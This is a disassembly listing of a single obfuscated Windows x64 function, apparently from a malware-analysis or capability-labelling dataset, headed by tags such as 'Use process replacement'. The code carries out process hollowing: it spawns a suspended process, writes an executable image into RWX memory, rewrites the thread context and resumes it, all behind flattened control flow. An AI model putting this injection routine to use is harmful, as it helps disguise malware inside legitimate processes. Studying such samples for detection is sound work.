Function at 0x140001b00
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x528
movaps xmmword [rsp + 0x510], xmm6
mov qword [rsp + 0x68], rdx
mov r13, rcx
mov rax, qword [0x1400231d8]
xor rax, rsp
mov qword [rsp + 0x508], rax
xorps xmm6, xmm6
movaps xmmword [rsp + 0xe0], xmm6
mov qword [rsp + 0xf0], 0
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
mov qword [rsp + 0xd0], 0
movsxd rax, dword [rcx + 0x3c]
lea rbp, [rax + rcx]
add rcx, 0x108
mov qword [rsp + 0x60], rcx
lea rcx, [rax + r13]
add rcx, 0x30
mov qword [rsp + 0x58], rcx
cmp dword [rax + r13], 0x4550
mov eax, 0x4d9cb2da
mov r14d, 0x2f6d9c75
cmove r14d, eax
mov eax, 0x3f290580
jmp 0x140001bd0
mov eax, 0x2881cb32
nop dword [rax]
mov ecx, eax
cmp eax, 0xca68896
jg 0x140001c20
cmp ecx, 0xc8f18a8f
jle 0x140001c60
cmp ecx, 0xe332693b
jle 0x140001cd4
cmp ecx, 0xe332693c
je 0x140001e41
cmp ecx, 0xfe0e57fe
je 0x140001e4e
mov eax, ecx
cmp ecx, 0xc781c8a
jne 0x140001bd0
mov eax, 0x79074706
jmp 0x140001bd0
cmp ecx, 0x5e473be2
jg 0x140001ca0
cmp ecx, 0x3f29057f
jg 0x140001cfd
cmp ecx, 0xca68897
je 0x140001bc4
cmp ecx, 0x2f6d9c75
jne 0x140001f77
mov eax, 0x2881cb32
mov dword [rsp + 0x50], 0xffffffff
mov r12d, 1
jmp 0x140001bd0
cmp ecx, 0xbae69802
jg 0x140001dab
cmp ecx, 0x92aea6f7
je 0x140001e58
cmp ecx, 0xafd95ea8
jne 0x140001f87
cmp dword [rsp + 0x54], 0
mov eax, 0xca68897
mov ecx, 0x7e20c615
cmove eax, ecx
jmp 0x140001bd0
cmp ecx, 0x79074705
jg 0x140001d87
cmp ecx, 0x5e473be3
je 0x140001e94
mov eax, ecx
cmp ecx, 0x661f5bd5
jne 0x140001bd0
add r15, 1
mov eax, 0xc8f18a90
jmp 0x140001bd0
cmp ecx, 0xc8f18a90
je 0x140001ec2
mov eax, ecx
cmp ecx, 0xcd3a958b
jne 0x140001bd0
mov eax, 0xafd95ea8
mov dword [rsp + 0x54], r12d
jmp 0x140001bd0
mov eax, r14d
cmp ecx, 0x3f290580
je 0x140001bd0
mov eax, ecx
cmp ecx, 0x4d9cb2da
jne 0x140001bd0
xor ecx, ecx
lea rdi, [rsp + 0x100]
mov rdx, rdi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, qword [rsp + 0x68]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov eax, 0xbae69803
mov ecx, 0xfe0e57fe
cmove eax, ecx
jmp 0x140001bd0
cmp ecx, 0x79074706
je 0x140001edb
mov eax, ecx
cmp ecx, 0x7e20c615
jne 0x140001bd0
mov eax, 0xfe0e57fe
jmp 0x140001bd0
cmp ecx, 0xbae69803
je 0x140001f2f
mov eax, ecx
cmp ecx, 0xc724a22c
jne 0x140001bd0
movsxd rax, dword [r13 + 0x3c]
lea rcx, [r15 + r15*4]
mov rdx, qword [rsp + 0x60]
lea rcx, [rdx + rcx*8]
mov edx, dword [rax + rcx + 0xc]
mov r9d, dword [rax + rcx + 0x10]
mov r8d, dword [rax + rcx + 0x14]
add r8, r13
add rdx, rsi
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, r14d
mov r14, rax
call rax
mov rdx, qword [rbx + 0x88]
add rdx, 0x10
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, qword [rsp + 0x58]
call r14
mov r14d, edi
mov eax, 0x661f5bd5
jmp 0x140001bd0
mov eax, 0xcd3a958b
xor r12d, r12d
jmp 0x140001bd0
mov eax, 0x2f6d9c75
jmp 0x140001bd0
mov r8d, dword [rbp + 0x50]
mov rdx, qword [rbp + 0x30]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
mov eax, 0x5e473be3
mov ecx, 0xa2ce2438
cmove eax, ecx
jmp 0x140001bd0
mov r9d, dword [rbp + 0x54]
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0x20], 0
mov rdx, rsi
mov r8, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, 0xc8f18a90
xor r15d, r15d
jmp 0x140001bd0
movzx eax, word [rbp + 6]
cmp r15, rax
mov eax, 0xc781c8a
mov ecx, 0xc724a22c
cmovb eax, ecx
jmp 0x140001bd0
mov eax, dword [rbp + 0x28]
add rax, rsi
mov qword [rbx + 0x80], rax
mov rcx, qword [rsp + 0xe8]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0x50], 0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 0xcd3a958b
mov r12d, 1
jmp 0x140001bd0
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0xe8]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
mov eax, 0x92aea6f7
mov ecx, 0xe332693c
cmove eax, ecx
jmp 0x140001bd0
mov eax, ecx
cmp ecx, 0x2881cb32
jne 0x140001bd0
jmp 0x140001fb3
mov eax, ecx
cmp ecx, 0xa2ce2438
jne 0x140001bd0
mov rcx, qword [rsp + 0xe0]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x508]
xor rcx, rsp
call fcn.140002960
mov eax, dword [rsp + 0x50]
movaps xmm6, xmmword [rsp + 0x510]
add rsp, 0x528
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret